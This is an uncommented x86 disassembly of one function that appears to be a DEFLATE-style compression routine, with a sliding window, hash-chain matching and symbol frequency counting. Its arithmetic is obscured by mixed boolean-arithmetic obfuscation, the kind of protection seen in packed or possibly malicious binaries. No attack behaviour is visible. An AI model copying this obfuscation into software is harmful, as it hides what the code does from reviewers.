mov dword [ebp - 0x1c], esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 0x3c], esp
push eax
mov dword [ebp - 0x80], esp
push eax
mov dword [ebp - 0x7c], esp
push eax
mov dword [ebp - 0x5c], esp
push eax
mov dword [ebp - 0x48], esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0x40], esp
push eax
mov dword [ebp - 0x78], esp
push eax
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x74], esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x50], esp
push eax
mov dword [ebp - 0x6c], esp
push eax
mov dword [ebp - 0x70], esp
push eax
mov dword [ebp - 0x68], esp
push eax
mov dword [ebp - 0x64], esp
push eax
mov dword [ebp - 0x60], esp
mov eax, dword [ebp - 0x84]
mov dword [edi], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x1c]
mov dword [edx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x38], ecx
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x24], esi
mov dword [esi], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x14], ebx
mov dword [ebx], eax
mov dword [ebp - 0x10], edi
mov eax, dword [edi]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov dword [ebp - 0x2c], edx
mov ecx, dword [edx]
mov eax, ecx
and eax, eax
xor ecx, ecx
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0x7fff
xor ecx, 0xffffffff
or eax, 0x7fff
and eax, ecx
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
jmp 0x41876f
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp dword [eax + 0x88], 0
setne cl
mov ebx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x7c]
mov al, 1
test cl, 1
jne 0x4187a6
jmp 0x418790
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
xor eax, eax
cmp dword [ecx + 0x80], 0
je 0x4187a6
cmp dword [esi], 0
setne al
jmp 0x4187a8
test al, 1
jne 0x4187b1
jmp 0x4192f3
mov eax, dword [ebp - 0x80]
mov dword [eax], 0x1000
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [esi]
add eax, 0xb428d0ea
add eax, ecx
sub eax, 0xb428d0ea
and eax, 0x7fff
mov dword [edi], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov eax, dword [eax + 0x88]
mov ecx, dword [esi]
mov edx, 0x6b69ff7a
sub edx, ecx
sub edx, 0xfe2f0048
add edx, 0x92c510ce
cmp eax, edx
setb al
test al, 1
jne 0x4187ff
jmp 0x41880c
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov eax, dword [eax + 0x88]
jmp 0x418817
jmp 0x41880e
mov eax, 0x1000
sub eax, dword [esi]
jmp 0x418817
mov esi, dword [ebp - 0x5c]
mov dword [esi], eax
mov ecx, dword [esi]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov edx, dword [eax + 0x88]
xor ecx, 0xffffffff
and ecx, 0xffffffff
or ecx, 0
mov ebx, edx
and ebx, ecx
or edx, ecx
add ebx, edx
add ebx, 1
mov dword [eax + 0x88], ebx
mov eax, dword [esi]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx]
mov dword [ecx], eax
mov ebx, dword [ebp - 0x28]
jmp 0x418854
cmp dword [esi], 0
setne al
test al, 1
mov esi, dword [ebp - 0x38]
jne 0x418866
jmp 0x418994
mov eax, dword [edi]
mov ecx, 0xa8b19742
sub ecx, eax
sub ecx, 0xa8b19742
add ecx, 0x8000
mov eax, dword [ebp - 0x5c]
cmp ecx, dword [eax]
jae 0x4188b3
mov eax, dword [edi]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and ecx, 0xffff7fff
or eax, eax
xor eax, 0xffffffff
or eax, 0
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
and eax, 0x8000
sub eax, ecx
jmp 0x4188b5
mov eax, dword [eax]
mov edx, dword [ebp - 0x48]
mov dword [edx], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx]
add eax, 0x90
add eax, dword [edi]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x84]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.004521d0
add esp, 0xc
cmp dword [edi], 0x101
jae 0x418952
jmp 0x4188f0
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx]
add eax, 0x90
add eax, 0x8000
add eax, dword [edi]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x84]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov ebx, 0x101
sub ebx, dword [edi]
cmp edx, ebx
setb dl
test dl, 1
jne 0x418921
jmp 0x41892b
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov ebx, dword [ebp - 0x28]
jmp 0x41893c
mov edx, dword [edi]
xor edx, 0xffffffff
add edx, 0x101
add edx, 1
mov ebx, dword [ebp - 0x28]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.004521d0
add esp, 0xc
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x84]
mov dword [ecx + 0x84], eax
mov eax, dword [edi]
add eax, dword [edx]
mov ecx, eax
xor ecx, 0xffff8000
and ecx, eax
mov dword [edi], ecx
mov eax, dword [edx]
mov esi, dword [ebp - 0x5c]
mov ecx, dword [esi]
mov edx, ecx
xor edx, eax
xor eax, 0xffffffff
and ecx, eax
shl ecx, 1
sub ecx, edx
mov dword [esi], ecx
jmp 0x418852
mov eax, dword [esi]
mov ecx, 0x20604ab1
sub ecx, eax
sub ecx, 0x205fcab1
cmp ecx, dword [ebx]
jae 0x4189bc
mov edi, dword [ebp - 0x34]
jmp 0x4189ac
mov ecx, dword [esi]
mov eax, 0xa4a2aaf1
sub eax, ecx
sub eax, 0xa4a22af1
jmp 0x4189c5
mov edi, dword [ebp - 0x34]
jmp 0x4189c1
mov eax, dword [ebx]
jmp 0x4189c5
mov dword [ebx], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp dword [eax + 0x80], 0
setne al
test al, 1
jne 0x4189fd
jmp 0x4189dc
jmp 0x4189de
cmp dword [esi], 0x1000
setb al
test al, 1
jne 0x4189ed
jmp 0x4189fd
mov eax, dword [ebp - 0x20]
jmp 0x4189f2
mov dword [eax], 3
jmp 0x4192db
mov eax, dword [ebp - 0x20]
jmp 0x418a02
cmp dword [esi], 4
jb 0x4190bb
mov dword [edi], 1
mov esi, dword [ebp - 0x10]
mov eax, dword [esi]
add eax, 0x90
mov ecx, dword [ebp - 0x3c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov ecx, dword [ecx]
call fcn.004309c0
or eax, eax
xor eax, 0xffffffff
or eax, 0xff000000
xor eax, 0xffffffff
mov edx, dword [ebp - 0x40]
mov dword [edx], eax
mov ecx, dword [edx]
mov edx, dword [edx]
shr edx, 0x11
mov eax, ecx
xor eax, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
or eax, ebx
xor eax, 0xffffffff
mov ebx, edx
xor ebx, 0xffffffff
or eax, ebx
mov ebx, edx
xor ebx, 0xffffffff
xor edx, 0xffffffff
or ebx, edx
xor ecx, 0xffffffff
xor ebx, 0xffffffff
or ecx, ebx
and eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xfffff000
xor edx, 0xffffffff
and edx, 0xfffff000
shl edx, 1
sub edx, 0xfffff000
mov ecx, eax
sub ecx, edx
mov edx, ecx
and edx, eax
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
xor edx, 0xffffffff
xor ecx, 0xffffffff
or edx, ecx
mov edi, dword [ebp - 0x78]
mov dword [edi], edx
mov eax, dword [esi]
mov ecx, dword [edi]
movzx eax, word [eax + ecx*2 + 0x29272]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebx]
mov esi, dword [esi]
mov edx, dword [edi]
mov word [esi + edx*2 + 0x29272], ax
mov eax, dword [ebx]
sub eax, dword [ecx]
movzx eax, ax
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x28]
cmp eax, dword [ecx]
ja 0x418ed5
jmp 0x418ae7
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
add ecx, 0x90
mov edx, dword [ebp - 0x54]
mov eax, dword [edx]
and eax, 0x7fff
mov dword [edx], eax
add ecx, eax
call fcn.004309c0
mov edx, eax
xor edx, 0xffffff
xor edx, 0xffffffff
mov ecx, eax
or ecx, 0xffffff
and ecx, edx
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa0a955b4
and eax, 0x5f56aa4b
or edx, eax
xor edx, 0x5f56aa4b
or edx, 0xff000000
mov eax, ecx
and eax, edx
xor eax, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x40]
cmp eax, dword [ecx]
sete al
test al, 1
jne 0x418b63
jmp 0x418ed5
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov esi, dword [ebp - 0x74]
mov dword [esi], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add eax, 0x90
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x20
mov edi, dword [ebp - 0x34]
jmp 0x418b8f
jmp 0x418b91
mov ecx, dword [esi]
add ecx, 2
mov dword [esi], ecx
call fcn.004309e0
movzx ebx, ax
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.004309e0
movzx ecx, ax
xor eax, eax
cmp ebx, ecx
jne 0x418c6d
mov ecx, dword [esi]
add ecx, 2
mov dword [esi], ecx
call fcn.004309e0
movzx ebx, ax
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.004309e0
movzx ecx, ax
xor eax, eax
cmp ebx, ecx
jne 0x418c6d
jmp 0x418be9
mov ecx, dword [esi]
add ecx, 2
mov dword [esi], ecx
call fcn.004309e0
movzx ebx, ax
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.004309e0
movzx eax, ax
cmp ebx, eax
sete cl
xor eax, eax
test cl, 1
jne 0x418c18
jmp 0x418c6d
mov ecx, dword [esi]
add ecx, 2
mov dword [esi], ecx
call fcn.004309e0
movzx ebx, ax
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.004309e0
movzx ecx, ax
xor eax, eax
cmp ebx, ecx
jne 0x418c6d
mov edx, dword [ebp - 0x50]
mov eax, dword [edx]
add eax, 0xdc117d10
sub eax, 0x89e98ee8
sub eax, 0xdc117d10
add eax, 0xffffffff
mov ecx, eax
and ecx, 0x89e98ee8
or eax, 0x89e98ee8
add ecx, eax
mov dword [edx], ecx
cmp ecx, 0
seta al
jmp 0x418c6f
test al, 1
jne 0x418b8f
jmp 0x418c79
jmp 0x418c7b
mov eax, dword [esi]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov edx, eax
xor edx, 0xffffffff
and edx, ecx
xor ecx, 0xffffffff
and eax, ecx
sub eax, edx
sar eax, 1
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 2
mov edx, eax
and edx, 0xfffffffd
imul edx, ecx
mov ecx, eax
and ecx, 2
or eax, 2
imul eax, ecx
add eax, edx
mov ecx, dword [esi]
movzx ecx, byte [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
movzx edx, byte [edx]
cmp ecx, edx
sete cl
and cl, 1
movzx ecx, cl
mov edx, eax
xor edx, 0x3fe65682
and eax, 0xc019a97d
shl eax, 1
sub eax, edx
xor edx, edx
sub edx, ecx
sub eax, edx
add eax, 0x5d4ba5e6
add eax, 0x3fe65682
sub eax, 0x5d4ba5e6
mov dword [edi], eax
mov eax, dword [ebp - 0x50]
cmp dword [eax], 0
setne al
test al, 1
mov edx, dword [ebp - 0x38]
jne 0x418d16
jmp 0x418d03
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
mov eax, 0x102
cmp ecx, 0
jne 0x418d14
xor eax, eax
mov dword [edi], eax
cmp dword [edi], 3
jb 0x418d2b
cmp dword [edi], 3
jne 0x418d78
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0x2000
jb 0x418d78
jmp 0x418d2d
mov dword [edi], 1
mov esi, dword [ebp - 0x40]
mov eax, dword [esi]
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebx]
mov edx, ecx
add edx, 1
mov dword [ebx], edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [esi]
movzx ecx, cl
mov dx, word [eax + ecx*2 + 0x8192]
add dx, 1
mov word [eax + ecx*2 + 0x8192], dx
jmp 0x418ed1
mov eax, dword [edi]
cmp eax, dword [edx]
jae 0x418d84
jmp 0x418d80
mov eax, dword [edi]
jmp 0x418d86
mov eax, dword [edx]
mov dword [edi], eax
mov ecx, edi
mov edi, dword [ebp - 0x44]
mov eax, dword [edi]
sub eax, 0x1f40f7df
add eax, 0x71065bd
add eax, 0xffffffff
sub eax, 0x71065bd
add eax, 0x1f40f7df
mov dword [edi], eax
mov edx, dword [ecx]
mov ecx, edx
and ecx, 3
shl ecx, 1
mov eax, edx
add eax, 3
sub eax, ecx
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and ecx, 0xfffffffc
shl ecx, 1
sub ecx, eax
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
mov byte [eax], cl
mov eax, dword [edx]
mov ecx, dword [edi]
mov dword [eax + 1], ecx
mov eax, dword [edx]
add eax, 3
mov dword [edx], eax
mov esi, dword [ebp - 0x18]
mov eax, dword [esi]
movzx ebx, byte [eax]
shr ebx, 1
mov eax, ebx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
shl eax, 1
sub eax, 0xffffffff
mov edx, ebx
sub edx, eax
mov eax, edx
and eax, 0xf09a8c52
and ebx, 0xf6573ad
mov ecx, eax
or ecx, ebx
xor ecx, 0xffffffff
or eax, ebx
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xf09a8cd2
or edx, 0xffffff7f
mov eax, edx
and eax, 0xffffffff
shl eax, 1
add edx, 0xffffffff
sub edx, eax
and edx, 0xffffffff
or ecx, edx
mov eax, dword [esi]
mov byte [eax], cl
mov eax, dword [edi]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x1ff
add eax, ecx
movzx eax, byte [eax + 0x4752a0]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [edi]
shr eax, 8
movzx eax, byte [eax + 0x475920]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add eax, 0x8192
add eax, 0x240
cmp dword [edi], 0x200
jae 0x418e9b
jmp 0x418e91
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov edi, dword [ebp - 0x34]
jmp 0x418ea0
mov ecx, dword [ecx]
mov edi, dword [ebp - 0x34]
mov dx, word [eax + ecx*2]
add dx, 1
mov word [eax + ecx*2], dx
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [edi]
movzx ecx, word [ecx*2 + 0x47569a]
mov dx, word [eax + ecx*2 + 0x8192]
add dx, 1
mov word [eax + ecx*2 + 0x8192], dx
jmp 0x418ed1
jmp 0x418ed3
jmp 0x418f22
mov esi, dword [ebp - 0x40]
mov eax, dword [esi]
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebx]
mov edx, ecx
add edx, 1
mov dword [ebx], edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [esi]
movzx ecx, cl
mov dx, word [eax + ecx*2 + 0x8192]
mov bx, dx
and bx, 1
or dx, 1
add bx, dx
mov word [eax + ecx*2 + 0x8192], bx
mov edi, dword [ebp - 0x34]
jmp 0x418f24
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
sub eax, 1
mov dword [ecx], eax
cmp eax, 0
sete al
mov ebx, dword [ebp - 0x28]
test al, 1
jne 0x418f3d
jmp 0x418f57
mov eax, dword [ebp - 0x1c]
mov dword [eax], 8
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
mov ecx, eax
add ecx, 1
mov dword [edx], ecx
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [edi]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx]
mov dword [ecx], eax
mov eax, dword [edi]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx]
mov dword [ecx], eax
mov eax, dword [ebx]
add eax, dword [edi]
cmp eax, 0x8000
jae 0x418f95
jmp 0x418f76
mov eax, dword [ebx]
mov ecx, dword [edi]
mov edx, eax
xor edx, 0xfc6477fb
and eax, 0x39b8804
shl eax, 1
sub eax, edx
add eax, ecx
add eax, 0xfc6477fb
jmp 0x418fa0
jmp 0x418f97
jmp 0x418f99
mov eax, 0x8000
jmp 0x418fa0
mov dword [ebx], eax
mov esi, dword [ebp - 0x3c]
mov eax, dword [esi]
mov ecx, dword [edi]
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, ecx
add edx, eax
xor eax, eax
sub eax, edx
and eax, 0x7fff
mov dword [esi], eax
mov eax, dword [edi]
mov esi, dword [ebp - 0x38]
mov ecx, dword [esi]
xor edx, edx
sub edx, eax
add ecx, edx
mov dword [esi], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
add ecx, 0x9272
add ecx, 0xfff8
cmp eax, ecx
jbe 0x4190a4
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx]
mov dword [ecx + 0x1c], eax
mov eax, dword [esi]
mov ecx, dword [edx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebx]
mov ecx, dword [edx]
mov dword [ecx + 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x38], eax
mov ecx, dword [edx]
xor edx, edx
call fcn.004282a0
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
cmp eax, 0
setne al
test al, 1
jne 0x419048
jmp 0x419069
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
xor eax, eax
cmp ecx, 0
jl 0x419059
mov eax, 1
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
jmp 0x41909d
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
cmp dword [eax], 0
jne 0x4190ad
jmp 0x4190a4
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
cmp dword [eax], 0
jne 0x4192d9
jmp 0x418a02
jmp 0x4190bd
jmp 0x4190bf
jmp 0x4190c1
cmp dword [esi], 0
je 0x4192cf
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov al, byte [eax + ecx + 0x90]
mov esi, dword [ebp - 0x64]
mov byte [esi], al
mov edx, dword [ebp - 0x24]
mov eax, dword [edx]
xor ecx, ecx
sub ecx, eax
add ecx, 0xffffffff
xor eax, eax
sub eax, ecx
mov dword [edx], eax
mov al, byte [esi]
mov esi, dword [ebp - 0x14]
mov ecx, dword [esi]
mov edx, ecx
add edx, 1
mov dword [esi], edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
sub eax, 0x838c345f
sub eax, 1
add eax, 0x838c345f
mov dword [ecx], eax
cmp eax, 0
sete al
test al, 1
jne 0x419131
jmp 0x41914b
mov eax, dword [ebp - 0x1c]
mov dword [eax], 8
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
mov ecx, eax
add ecx, 1
mov dword [edx], ecx
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
movzx ecx, byte [ecx]
mov dx, word [eax + ecx*2 + 0x8192]
add dx, 1
mov word [eax + ecx*2 + 0x8192], dx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ecx]
sub eax, 0x118a9d23
add eax, 1
add eax, 0x118a9d23
mov dword [ecx], eax
mov eax, dword [ebx]
add eax, 1
cmp eax, 0x8000
mov esi, dword [ebp - 0x38]
jae 0x4191a8
mov eax, dword [ebx]
sub eax, 0x671c9f62
add eax, 0x95f83b21
add eax, 1
sub eax, 0x95f83b21
add eax, 0x671c9f62
jmp 0x4191b3
jmp 0x4191aa
jmp 0x4191ac
mov eax, 0x8000
jmp 0x4191b3
mov dword [ebx], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx]
add eax, 0xf24bdcb1
add eax, 1
sub eax, 0xf24bdcb1
and eax, 0x7fff
mov dword [ecx], eax
mov eax, dword [esi]
sub eax, 0x6638d4a6
add eax, 0xffffffff
add eax, 0x6638d4a6
mov dword [esi], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
add ecx, 0x9272
add ecx, 0xfff8
cmp eax, ecx
seta al
test al, 1
jne 0x419203
jmp 0x4192bc
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx]
mov dword [ecx + 0x1c], eax
mov eax, dword [esi]
mov ecx, dword [edx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebx]
mov ecx, dword [edx]
mov dword [ecx + 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x38], eax
mov ecx, dword [edx]
xor edx, edx
call fcn.004282a0
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
cmp eax, 0
setne al
test al, 1
jne 0x419260
jmp 0x419281
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax]
xor eax, eax
cmp ecx, 0
jl 0x419271
mov eax, 1
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
jmp 0x4192b5
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
cmp dword [eax], 0
jne 0x4192c5
jmp 0x4192bc
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
cmp dword [eax], 0
jne 0x4192d7
jmp 0x4190c1
mov dword [eax], 0
jmp 0x4192db
jmp 0x4192db
jmp 0x4192db
mov eax, dword [eax]
test eax, eax
je 0x4192ea
jmp 0x4192e3
sub eax, 3
je 0x4192f3
jmp 0x41934a
jmp 0x4192ec
jmp 0x4192ee
jmp 0x41876d
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx]
mov dword [ecx + 0x1c], eax
mov eax, dword [esi]
mov ecx, dword [edx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebx]
mov ecx, dword [edx]
mov dword [ecx + 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [edx]
mov dword [ecx + 0x38], eax
mov eax, dword [ebp - 0x4c]
mov dword [eax], 1
mov ecx, dword [ebp - 0x20]
mov dword [ecx], 1
jmp 0x41934f
mov eax, dword [ebp - 0x4c]
jmp 0x41934f
mov eax, dword [eax]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret